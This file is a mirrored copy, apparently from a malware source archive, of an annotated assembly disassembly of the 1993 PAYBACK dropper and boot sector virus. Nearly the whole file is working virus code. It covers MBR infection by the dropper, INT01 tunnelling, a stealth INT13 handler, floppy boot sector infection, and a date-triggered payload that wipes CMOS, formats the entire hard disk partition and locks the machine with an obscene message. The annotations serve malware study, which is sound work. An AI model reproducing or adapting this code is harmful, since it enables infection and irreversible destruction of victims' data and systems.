mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
477 lines
29 KiB
NASM
477 lines
29 KiB
NASM
;*****************************************************************************
|
|
;* *
|
|
;* FILE: PAYBACK.A86 *
|
|
;* PURPOSE: Dropper containing PAYBACK boot sector virus *
|
|
;* DISASSEMBLY BY: Willoughby AUTHOR: Unknown clever coder *
|
|
;* *
|
|
;*****************************************************************************
|
|
|
|
MAIN SEGMENT BYTE
|
|
ASSUME CS:MAIN,DS:MAIN,ES:MAIN
|
|
|
|
ORG 100h
|
|
|
|
;*****************************************************************************
|
|
;Decryption routine to decrypt body of virus. Not used in this file as virus
|
|
;has already been decrypted for analysis. Bit sequence of encryption/decryp-
|
|
;tion key possibly chosen for its randomized bit sequence (just a guess).
|
|
|
|
;DECRYPT:
|
|
; MOV CX,02A8 ;set length of encrypted code
|
|
; MOV AX,0391D ;load decryption key (bit sequence
|
|
; ;"0011100100011101")
|
|
; MOV SI,OFFSET MBR_BUFFER ;point to end of encrypt. code
|
|
;DECLP1: DEC CX ;decrement byte count
|
|
; JS DROPPER ;if done, jump to dropper start
|
|
; XOR [SI],AL ;decrypt a byte
|
|
; XCHG AH,AL ;change key
|
|
; ROR AX,CL ;really mix it up
|
|
; DEC SI ;point to next byte to decrypt
|
|
; JMP DECLP1 ;do it all again
|
|
|
|
;****************************************************************************
|
|
;Dropper routine to place virus in MBR of fixed disk "C".
|
|
|
|
DROPPER:
|
|
MOV AX,03513 ;get INT13 vector.
|
|
INT 021
|
|
MOV [OFFSET VECT_INT13],BX ;store offset of INT13 in virus
|
|
MOV [OFFSET VECT_INT13+2],ES ;store segment of INT13 in virus
|
|
CALL STEAL_INT01 ;jump to steal INT01 routine
|
|
MOV AX,0201 ;select read-one-sector function
|
|
MOV BX,OFFSET MBR_BUFFER ;set disk I/O buffer offset
|
|
MOV CX,0001 ;cylinder 0, sector 1
|
|
MOV DX,0080 ;head 0, fixed disk "C"
|
|
CALL SYS_INT13 ;read boot sector of drive "C"
|
|
JB RUN_CARRIER ;if flag = failure, execute carrier
|
|
CMP WORD PTR [BX+010],012CD ;check for infection tag
|
|
JE RUN_CARRIER ;if infected, execute carrier program
|
|
XOR AX,AX
|
|
MOV DS,AX ;point to data segment 0000h
|
|
MOV AX,[046C] ;load lower two bytes of master clock
|
|
PUSH CS
|
|
POP DS ;restore data segment
|
|
TEST AL,01 ;AL=01 in 1 out of 2 tries (clock LSB)
|
|
JZ RUN_CARRIER ;if AL <> 01, do not infect system
|
|
SUB BX,0200 ;set disk I/O buffer to point to virus
|
|
MOV AX,0302 ;select write-two-sectors
|
|
CALL SYS_INT13 ;write virus to MBR and original
|
|
;boot sector to sector 2.
|
|
|
|
;****************************************************************************
|
|
;Routine to restore original jump address to start of trojan file and to
|
|
;execute trojan carrier program. We don't use it here since the virus is not
|
|
;attached to anything (other than its own dropper). Instead, the replacement
|
|
;RUN_CARRIER routine below it is executed to terminate the dropper.
|
|
|
|
;RUN_CARRIER:
|
|
; MOV DI,0100 ;point to carrier prog. start
|
|
; MOV WORD PTR [DI],030B4 ;restore original jump value
|
|
; MOV BYTE PTR [DI+02],CD ;ditto
|
|
; XOR AX,AX
|
|
; PUSH DI ;zero DI
|
|
; RET ;exit and execute carrier program
|
|
|
|
RUN_CARRIER:
|
|
MOV AX,04C00 ;select terminate-with-return-code
|
|
INT 021 ;terminate PAYBACK.COM dropper
|
|
|
|
;*****************************************************************************
|
|
;Routine to steal INT01 for tunnelling purposes and then restore it to its
|
|
;original value. Tunnelling is new to me, so I hope that I got this right.
|
|
|
|
STEAL_INT01:
|
|
MOV AX,03501 ;get INT01 (single-step) vector
|
|
INT 021
|
|
MOV DX,[OFFSET FIND_INT13] ;offset of virus INT01 handler
|
|
MOV AH,025 ;steal INT01 vector
|
|
INT 021
|
|
PUSHF
|
|
POP AX ;pop flags into AX
|
|
OR AH,01 ;set trap flag
|
|
PUSH AX
|
|
POPF ;pop AX into flag register (from this
|
|
;point on, every instruction execution
|
|
;also executes the viral INT01
|
|
;handler)
|
|
XOR AX,AX ;zero AX
|
|
CALL SYS_INT13 ;reset disks to allow INT01 tunnelling
|
|
;to find BIOS INT13 handler address
|
|
PUSHF
|
|
POP AX ;pop flags into AX
|
|
AND AH,0FE ;zero trap flag
|
|
PUSH AX
|
|
POPF ;pop AX into flag register
|
|
MOV AX,02501 ;set-interrupt-vector function (INT01)
|
|
MOV DX,BX ;load DX with orig. INT01 offset
|
|
PUSH ES
|
|
POP DS ;load DS with orig. INT01 segment
|
|
INT 21 ;restore INT01 vector to orig. value
|
|
PUSH CS
|
|
PUSH CS
|
|
POP DS ;set DS and ES to value of
|
|
POP ES ;code segment
|
|
RET
|
|
|
|
;*****************************************************************************
|
|
;INT01 handler routine to accomplish tunnelling address aquisition for
|
|
;original INT13 handler.
|
|
|
|
FIND_INT13:
|
|
PUSH BP
|
|
MOV BP,SP ;load BP with the stack offset
|
|
PUSH AX
|
|
MOV AX,[BP+04] ;load AX with the segment of the
|
|
;calling routine
|
|
CMP AX,0C800 ;is it in DOS segment?
|
|
JNB TUNNEL ;if not, its time to tunnel
|
|
|
|
EXIT: POP AX ;restore registers
|
|
POP BP
|
|
IRET ;return from INT01 interrupt
|
|
|
|
TUNNEL:
|
|
CMP AX,0F000 ;calling routine in ROM?
|
|
JA EXIT ;if so, no need to tunnel, so exit
|
|
CS: ;if not, store orig. INT13 segment
|
|
MOV [OFFSET VECT_INT13+02],AX ;for use during MBR infection
|
|
MOV AX,[BP+02] ;load AX with original INT13 offset
|
|
CS:
|
|
MOV [OFFSET VECT_INT13],AX ;store original INT13 handler offset
|
|
AND WORD PTR [BP+06],0FEFF ;clear trap flag on stack prior to
|
|
JMP EXIT ;return to prevent re-execution of
|
|
;this INT01 handler
|
|
|
|
SYS_INT13:
|
|
PUSHF ;preserve flags
|
|
CS:
|
|
CALL FAR D[OFFSET VECT_INT13] ;call INT13 handler via stored addr.
|
|
RET
|
|
|
|
;*****************************************************************************
|
|
;Start of boot sector virus code.
|
|
|
|
BOOT: CLI ;disable interrupts
|
|
XOR AX,AX
|
|
MOV DS,AX ;set data segment
|
|
MOV SS,AX ;set stack segment
|
|
MOV SP,0FFFE ;set stack pointer
|
|
STI ;enable interrupts
|
|
PUSH DS ;preserve DS
|
|
DEC WORD PTR [0413] ;lower top of memory 1K
|
|
INT 012 ;get base memory size
|
|
MOV CL,0A ;set rotation count
|
|
ROR AX,CL ;calculate upper memory segment
|
|
LES BX,[004C] ;get BIOS INT13h handler offset & seg.
|
|
MOV [07DB7],BX ;store orig. offset within virus
|
|
MOV [07DB9],ES ;store orig. segment within virus
|
|
MOV WORD PTR [004C],008D ;set INT13h offset vector to virus
|
|
MOV [004E],AX ;set vector to installed virus seg.
|
|
MOV ES,AX ;set ES to installed virus segment
|
|
XOR DI,DI ;zero destination offset for move
|
|
MOV SI,07C00 ;set source address for virus move
|
|
PUSH SI ;set SI for orig. boot sector load
|
|
MOV CX,02C8 ;set byte count for move (a count of
|
|
;0200h would have been adequate)
|
|
CLD ;clear direction flag (fwd)
|
|
REPZ
|
|
MOVSB ;move virus to upper memory
|
|
PUSH ES ;set up stack for virus reentry seg.
|
|
MOV AX,003F ;AX = offset for virus reentry point
|
|
PUSH AX ;set up stack for virus reentry off.
|
|
RETF ;return to self in new location (ES:AX)
|
|
|
|
NEW_LOCATION:
|
|
MOV AX,0201 ;select read-one-sector function
|
|
POP BX ;set disk I/O buffer to 7C00h
|
|
MOV CX,0002 ;track 0, sector 2 (self modified by
|
|
;virus to reflect true MBR location)
|
|
MOV DX,0080 ;head 0, fixed disk "C" (once again,
|
|
;self-modified by virus)
|
|
AND DL,080 ;mask to load original MBR from drive
|
|
;"C", even if not boot drive, or drive
|
|
;"A" if boot is from floppy
|
|
POP ES ;set ES = 0000h
|
|
CALL BIOS_INT13 ;load original boot sector to 0:7C00
|
|
PUSH CS
|
|
POP DS ;set to current upper-mem. seg. value
|
|
PUSH CS
|
|
POP ES ;ditto
|
|
MOV AX,0201 ;select read-one-sector function
|
|
MOV BX,0200 ;set I/O buffer location
|
|
MOV CX,0001 ;track 0, sector 1
|
|
MOV DX,0080 ;head 0, fixed disk "C"
|
|
CALL BIOS_INT13 ;load MBR
|
|
CMP WORD PTR [0210],012CD ;check for infect tag
|
|
JE BOOT_EXIT ;if infected, exit
|
|
CMP WORD PTR [03FE],0AA55 ;valid boot record tag?
|
|
JNE BOOT_EXIT ;if not, then exit
|
|
MOV AX,0302 ;select write-two-sectors function
|
|
XOR BX,BX ;set buffer offset to include virus
|
|
INC CX ;track 0, sector 2 (relocated MBR)
|
|
MOV [0044],CX ;store track/sector within viral code
|
|
MOV [0047],DX ;store head/drive within viral code
|
|
DEC CX ;track 0, sector 1
|
|
CALL BIOS_INT13 ;write virus to MBR and original MBR
|
|
;to sector 2.
|
|
BOOT_EXIT:
|
|
CALL CHECK_DATE ;check for activation date
|
|
JMP 0000:07C00 ;wrong date, so jump to original MBR
|
|
|
|
;*****************************************************************************
|
|
;INT13h handler routine.
|
|
|
|
STEALTH:
|
|
CMP CX,+01 ;track 0, sector 1?
|
|
JNE EXIT2BIOS ;if not, no need for stealth, so exit
|
|
OR DH,DH ;head 0?
|
|
JNE EXIT2BIOS ;ditto
|
|
CMP AH,02 ;read request?
|
|
JE ORIG_SECT ;if so, time for stealth...
|
|
|
|
EXIT2BIOS:
|
|
CS:
|
|
JMP FAR D[01B7] ;jump to BIOS via stored address
|
|
|
|
EXIT2CALL:
|
|
RETF 0002 ;exit to calling routine
|
|
|
|
ORIG_SECT:
|
|
CALL BIOS_INT13 ;read boot sector
|
|
JB EXIT2CALL ;if flag=failure, exit to calling rtn.
|
|
ES:
|
|
CMP WORD PTR [BX+0010],012CD ;check for infection tag
|
|
JNE INFECT_FLOPPY ;if not infected, then infect
|
|
MOV AX,0201 ;select read-one-sector function
|
|
PUSH CX ;preserve registers values
|
|
PUSH DX ;for boot sector
|
|
ES:
|
|
MOV CX,[BX+0044] ;load track/sect. # of orig. boot rcd.
|
|
ES:
|
|
MOV DH,[BX+0048] ;load head # of original boot record
|
|
CALL BIOS_INT13 ;load original boot record
|
|
POP DX ;restore registers to values
|
|
POP CX ;sent by calling routine
|
|
JMP EXIT2CALL ;exit directly back to calling routine
|
|
|
|
;*****************************************************************************
|
|
;Diskette infection routine. Very clever and code efficient (to me, anyway).
|
|
|
|
INFECT_FLOPPY:
|
|
PUSHF ;push flags to hide I/O errors
|
|
PUSH AX ;preserve registers
|
|
PUSH BX
|
|
PUSH CX
|
|
PUSH DX
|
|
PUSH DI
|
|
PUSH ES
|
|
PUSH CX ;save a few register values a
|
|
PUSH DX ;second time to be used by
|
|
PUSH BX ;the virus interrupt handler
|
|
TEST DL,080 ;fixed drive I/O?
|
|
JNZ EXIT_1 ;if so, then exit handler
|
|
ES:
|
|
CMP WORD PTR [BX+01FE],0AA55 ;boot sect. in buffer?
|
|
JNE EXIT_1 ;if not, exit handler
|
|
CALL CALC_TRACK ;if so, calc. reloc. track/sector #
|
|
JB EXIT_1 ;if not standard format, exit
|
|
CS:
|
|
MOV [0044],CX ;store reloc. track/sect. within virus
|
|
CS:
|
|
MOV [0047],DX ;store reloc. head/drive within virus
|
|
POP BX ;restore orig. buffer offset
|
|
MOV AX,0301 ;select write-one-sector
|
|
PUSH AX
|
|
CALL BIOS_INT13 ;relocate boot sector
|
|
POP AX ;restore some registers
|
|
POP DX
|
|
POP CX
|
|
JB EXIT_2 ;if I/O flag = failure, exit
|
|
XOR BX,BX ;set I/O buffer to virus start
|
|
PUSH CS
|
|
POP ES ;set ES=CS
|
|
CALL BIOS_INT13 ;write virus to boot sector
|
|
JMP EXIT_2 ;exit handler
|
|
|
|
EXIT_1:
|
|
POP BX ;restore registers
|
|
POP DX
|
|
POP CX
|
|
|
|
EXIT_2:
|
|
POP ES ;restore registers
|
|
POP DI
|
|
POP DX
|
|
POP CX
|
|
POP BX
|
|
POP AX
|
|
POPF ;pop flags to hide I/O errors
|
|
JMP EXIT2BIOS ;jump to exit to BIOS
|
|
|
|
CALC_TRACK:
|
|
MOV DI,DX ;load DI with head/drive #
|
|
ES:
|
|
MOV AX,[BX+013] ;load total # sectors on disk from BPB
|
|
ES:
|
|
MOV CX,[BX+018] ;load # of sectors per track from BPB
|
|
OR AX,AX ;test AX for 00h
|
|
JZ BPB_FAIL ;if zero, non-standard format, so exit
|
|
JCXZ BPB_FAIL ;ditto for CX
|
|
XOR DX,DX ;clear DX for remainder storage
|
|
DIV CX ;divide AX by CX
|
|
OR DX,DX ;test DX for 00h (no remainder)
|
|
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
|
|
ES:
|
|
MOV BX,[BX+01A] ;load # of disk sides from BPB
|
|
OR BX,BX ;test BX for 00h
|
|
JZ BPB_FAIL ;if zero, non-standard format, so exit
|
|
DIV BX ;divide AX by BX
|
|
OR DX,DX ;test DX for 00h (no remaider)
|
|
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
|
|
DEC AL ;decr. AL to obtain # of last track
|
|
MOV CH,AL ;set track # for boot sect. relocation
|
|
DEC BL ;decr. BL to obtain # of last head
|
|
MOV DX,DI ;restore head/drive information
|
|
MOV DH,BL ;set head # to last head
|
|
CLC ;clear carry flag to indicate success
|
|
RET
|
|
|
|
BPB_FAIL:
|
|
STC ;set carry flag to indicate failure
|
|
RET
|
|
|
|
BIOS_INT13:
|
|
PUSHF ;push flags
|
|
CS:
|
|
CALL FAR D[01B7] ;call BIOS INT13h handler via stored
|
|
RET ;address
|
|
|
|
;****************************************************************************
|
|
;Check date for activation (routine modified to prevent activation).
|
|
|
|
CHECK_DATE:
|
|
MOV AH,04 ;request date function
|
|
INT 01A ;request date
|
|
CMP DX,02BAD ;check for trigger date
|
|
JE ZAP_CMOS ;the route to unethical (and illegal)
|
|
RET ;behavior
|
|
|
|
;****************************************************************************
|
|
;Clear contents of CMOS system configuration memory.
|
|
|
|
ZAP_CMOS:
|
|
MOV CX,00FF ;set CMOS count (03Ch would have been
|
|
;adequate, according to my reference)
|
|
ZCLP1: MOV DX,0070 ;set port #70h
|
|
MOV AL,CL ;set configuration address
|
|
OUT DX,AL ;select CMOS address
|
|
JMP WHY ;don't understand the need for this
|
|
WHY: INC DX ;set port #71h
|
|
XOR AL,AL ;set data value to zero
|
|
OUT DX,AL ;write data value to CMOS
|
|
LOOP ZCLP1 ;do it until CMOS count = 0
|
|
|
|
;*****************************************************************************
|
|
;Obtain format data from fixed disk "C" partition table.
|
|
|
|
MOV DI,[03C4] ;ending cyl/sector #'s from prtn. tbl.
|
|
AND DI,-040 ;mask out ending sector number
|
|
MOV CL,06 ;load CL with number of shifts
|
|
SHR DI,CL ;shift to obtain ending cylinder #
|
|
MOV AL,[03C3] ;ending head # from partition table
|
|
XOR AH,AH ;zero AH
|
|
XCHG BP,AX ;store ending head # in BP
|
|
MOV BX,01F5 ;point to sector format info. table
|
|
MOV DX,0080 ;select fixed disk "C"
|
|
|
|
;*****************************************************************************
|
|
;Trash fixed disk "C" by formatting entire partition. If my interpretation of
|
|
;this routine is correct, it formats each platter side before incrementing the
|
|
;head count to format the next platter. The destructive "advantage" of this,
|
|
;I believe, would be that the deletion of code segments from large numbers
|
|
;of files would be accomplished very quickly, rendering executable or ZIPed
|
|
;files as useless as if they were totally deleted, but in a much shorter time.
|
|
|
|
TRASH_HD:
|
|
XOR CX,CX ;set cylinder # to zero
|
|
|
|
FORMAT_TRACK:
|
|
MOV AX,0501 ;format-track function, interleave 1
|
|
CALL BIOS_INT13 ;format track (cylinder)
|
|
AND CL,0C0 ;mask for cylinder # bits 6-7
|
|
ROL CL,01 ;shift to bits 6-7 of cylinder number
|
|
ROL CL,01 ;into bottom two (0-1) bits of CL
|
|
XCHG CL,CH ;put bottom two bits in CH to match
|
|
;DI bit arrangement
|
|
INC CX ;increment track count
|
|
CMP CX,DI ;last cylinder (CX bit pattern match
|
|
;DI bit pattern)?
|
|
JA NEXT_HEAD ;if so, increment head number
|
|
XCHG CL,CH ;put CL back to where it started
|
|
ROR CL,01 ;shift to obtain
|
|
ROR CL,01 ;original value
|
|
JMP FORMAT_TRACK ;format next track
|
|
|
|
NEXT_HEAD:
|
|
INC DH ;increment head number
|
|
MOV AX,BP ;load AX with last head number
|
|
CMP DH,AL ;last head?
|
|
JBE TRASH_HD ;if not, do it again
|
|
|
|
;****************************************************************************
|
|
;Display activation message.
|
|
|
|
MOV SI,OFFSET MESSAGE_TEXT ;load offset of message text
|
|
DMLP1: CLD ;clear direction flag (fwd)
|
|
LODSB ;load character of message
|
|
OR AL,AL ;check for text end (0)
|
|
JZ LOCK_IT_UP ;if end of message, lock up system
|
|
MOV AH,0E ;select write-character function
|
|
XOR BX,BX ;page 0, color 0
|
|
INT 010 ;display character on screen
|
|
JMP DMLP1 ;do it all again
|
|
|
|
LOCK_IT_UP:
|
|
CLI ;disable interrupts
|
|
HLT ;select 0.0 Mips mode
|
|
|
|
;*****************************************************************************
|
|
;Storage area for BIOS INT13 vector used by virus.
|
|
|
|
DB ? ;Pad byte (A86 assembly only)
|
|
DW ? ;BIOS INT13 offset storage location
|
|
DW ? ;BIOS INT13 segment storage location
|
|
|
|
;*****************************************************************************
|
|
;Text strings for activation message.
|
|
|
|
MESSAGE_TEXT:
|
|
DB 0A,0D ;linefeed, carriage ret.
|
|
DB "That was for ARCV, mother fucker!"
|
|
DB 0A,0A,0D ;linefeed x 2, car. ret.
|
|
DB "Payback! (c) 1993"
|
|
DB 0A,0D ;linefeed, carriage ret.
|
|
|
|
;*****************************************************************************
|
|
;End-of-boot sector pad bytes and valid boot sector tag bytes.
|
|
|
|
DB 10 DUP ? ;pad bytes
|
|
DB 055,0AA ;valid boot sector tag
|
|
|
|
;****************************************************************************
|
|
;Start of space reserved for disk I/O
|
|
|
|
MBR_BUFFER:
|
|
|
|
DB 512 DUP ? ;reserve one sectors worth of space
|
|
|
|
;****************************************************************************
|
|
;Storage location for INT13 vector used by dropper routine.
|
|
|
|
VECT_INT13:
|
|
|
|
DD ? ;BIOS INT13 offset/segment storage
|
|
|
|
MAIN ENDS
|
|
|